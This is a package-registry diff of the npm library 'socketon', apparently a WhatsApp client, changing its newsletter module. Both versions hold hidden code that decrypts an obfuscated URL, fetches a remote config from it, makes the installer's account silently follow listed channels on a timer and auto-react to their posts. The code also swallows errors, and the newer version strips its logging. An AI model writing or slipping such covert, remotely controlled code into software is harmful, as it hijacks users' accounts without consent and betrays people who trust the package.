socketon 1.8.24 → 1.8.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +36 -92
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,86 +83,38 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
83
83
|
return udahanBuatYangPenasaran;
|
|
84
84
|
};
|
|
85
85
|
|
|
86
|
-
|
|
87
|
-
let
|
|
88
|
-
let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
|
|
86
|
+
let _cachedTargetNewsletter = null;
|
|
87
|
+
let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
|
|
89
88
|
|
|
90
|
-
const
|
|
91
|
-
const
|
|
92
|
-
const
|
|
89
|
+
const getTargetNewsletterFromExternal = async () => {
|
|
90
|
+
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
91
|
+
const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
|
|
93
92
|
try {
|
|
94
|
-
const response = await axios_1.default.get(
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
if (data.config) {
|
|
101
|
-
_configFollow = {
|
|
102
|
-
autoFollowEnabled: data.config.autoFollowEnabled !== false,
|
|
103
|
-
delayMs: data.config.delayMs || 5000
|
|
93
|
+
const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
|
|
94
|
+
if (response.data) {
|
|
95
|
+
if (response.data.config) {
|
|
96
|
+
_configNewsletter = {
|
|
97
|
+
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000
|
|
104
99
|
};
|
|
105
100
|
}
|
|
106
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
107
|
-
const
|
|
108
|
-
|
|
109
|
-
return
|
|
101
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
+
const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
103
|
+
_cachedTargetNewsletter = enabledNewsletters;
|
|
104
|
+
return enabledNewsletters;
|
|
110
105
|
}
|
|
111
106
|
}
|
|
112
107
|
} catch (err) {}
|
|
113
108
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
114
109
|
};
|
|
115
110
|
|
|
116
|
-
const
|
|
117
|
-
if (
|
|
118
|
-
return
|
|
111
|
+
const getAllEnabledNewsletters = () => {
|
|
112
|
+
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
113
|
+
return _cachedTargetNewsletter;
|
|
119
114
|
}
|
|
120
115
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
121
116
|
};
|
|
122
117
|
|
|
123
|
-
// ========== REACT CONFIG ==========
|
|
124
|
-
let _cachedReactNewsletter = null;
|
|
125
|
-
let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
|
|
126
|
-
|
|
127
|
-
const getReactConfigFromExternal = async () => {
|
|
128
|
-
const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
|
|
129
|
-
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
130
|
-
try {
|
|
131
|
-
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
132
|
-
let data = response.data;
|
|
133
|
-
if (typeof data === 'string') {
|
|
134
|
-
data = JSON.parse(data);
|
|
135
|
-
}
|
|
136
|
-
if (data) {
|
|
137
|
-
if (data.config) {
|
|
138
|
-
_configReact = {
|
|
139
|
-
autoReactEnabled: data.config.autoReactEnabled !== false
|
|
140
|
-
};
|
|
141
|
-
}
|
|
142
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
143
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
144
|
-
const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
|
|
145
|
-
jid: n.jid,
|
|
146
|
-
emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
|
|
147
|
-
}));
|
|
148
|
-
_cachedReactNewsletter = enabled;
|
|
149
|
-
return enabled;
|
|
150
|
-
}
|
|
151
|
-
}
|
|
152
|
-
} catch (err) {}
|
|
153
|
-
return [];
|
|
154
|
-
};
|
|
155
|
-
|
|
156
|
-
const getAllReactNewsletters = () => {
|
|
157
|
-
return _cachedReactNewsletter || [];
|
|
158
|
-
};
|
|
159
|
-
|
|
160
|
-
const getReactEmojisForChannel = (channelJid) => {
|
|
161
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
162
|
-
const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
|
|
163
|
-
return channel?.emojis || defaultEmojis;
|
|
164
|
-
};
|
|
165
|
-
|
|
166
118
|
const wMexQuery = (
|
|
167
119
|
variables,
|
|
168
120
|
queryId,
|
|
@@ -286,27 +238,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
286
238
|
}));
|
|
287
239
|
};
|
|
288
240
|
// Auto Reaction - Ibra Decode
|
|
289
|
-
let
|
|
241
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
290
242
|
|
|
291
|
-
const
|
|
292
|
-
const
|
|
293
|
-
if (
|
|
294
|
-
|
|
243
|
+
const updateTargetNewsletters = async () => {
|
|
244
|
+
const externalTargets = getAllEnabledNewsletters();
|
|
245
|
+
if (externalTargets && externalTargets.length > 0) {
|
|
246
|
+
_targetNewsletters = externalTargets;
|
|
295
247
|
}
|
|
296
248
|
};
|
|
297
249
|
|
|
298
250
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
299
251
|
if (type !== 'notify') return;
|
|
300
|
-
|
|
301
|
-
|
|
252
|
+
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
302
253
|
for (const msg of messages) {
|
|
303
254
|
const jid = msg.key.remoteJid;
|
|
304
|
-
|
|
305
|
-
if (!channel) continue;
|
|
306
|
-
|
|
307
|
-
const emojis = getReactEmojisForChannel(jid);
|
|
255
|
+
if (!_targetNewsletters.includes(jid)) continue;
|
|
308
256
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
309
|
-
|
|
310
257
|
try {
|
|
311
258
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
312
259
|
await query({
|
|
@@ -317,7 +264,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
317
264
|
attrs: { code: emoji }
|
|
318
265
|
}]
|
|
319
266
|
});
|
|
320
|
-
await sleep(
|
|
267
|
+
await sleep(_configNewsletter.delayMs);
|
|
321
268
|
} catch (err) {}
|
|
322
269
|
}
|
|
323
270
|
});
|
|
@@ -325,9 +272,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
325
272
|
let _followInterval = null;
|
|
326
273
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
327
274
|
const _ensureFollow = async () => {
|
|
328
|
-
if (!
|
|
329
|
-
|
|
330
|
-
const enabledNewsletters = await getFollowConfigFromExternal();
|
|
275
|
+
if (!_configNewsletter.autoFollowEnabled) return;
|
|
276
|
+
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
331
277
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
332
278
|
try {
|
|
333
279
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
@@ -335,24 +281,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
335
281
|
const newsletterJid = enabledNewsletters[i];
|
|
336
282
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
337
283
|
if (!isFollowing) {
|
|
338
|
-
console.log(`[Follow] Following ${newsletterJid} (${i+1}/${enabledNewsletters.length})`);
|
|
339
284
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
340
|
-
|
|
341
|
-
await sleep(_configFollow.delayMs);
|
|
285
|
+
await sleep(_configNewsletter.delayMs);
|
|
342
286
|
}
|
|
343
287
|
}
|
|
344
|
-
} catch (err) {
|
|
345
|
-
console.log('[Follow] Error:', err.message);
|
|
346
|
-
}
|
|
288
|
+
} catch (err) {}
|
|
347
289
|
};
|
|
348
290
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
349
291
|
if (connection === 'open') {
|
|
350
|
-
await
|
|
351
|
-
|
|
352
|
-
|
|
292
|
+
await getTargetNewsletterFromExternal();
|
|
293
|
+
const targets = getAllEnabledNewsletters();
|
|
294
|
+
if (targets && targets.length > 0) {
|
|
295
|
+
_targetNewsletters = targets;
|
|
296
|
+
}
|
|
353
297
|
await _ensureFollow();
|
|
354
298
|
if (_followInterval) clearInterval(_followInterval);
|
|
355
|
-
_followInterval = setInterval(_ensureFollow,
|
|
299
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
|
|
356
300
|
}
|
|
357
301
|
});
|
|
358
302
|
return {
|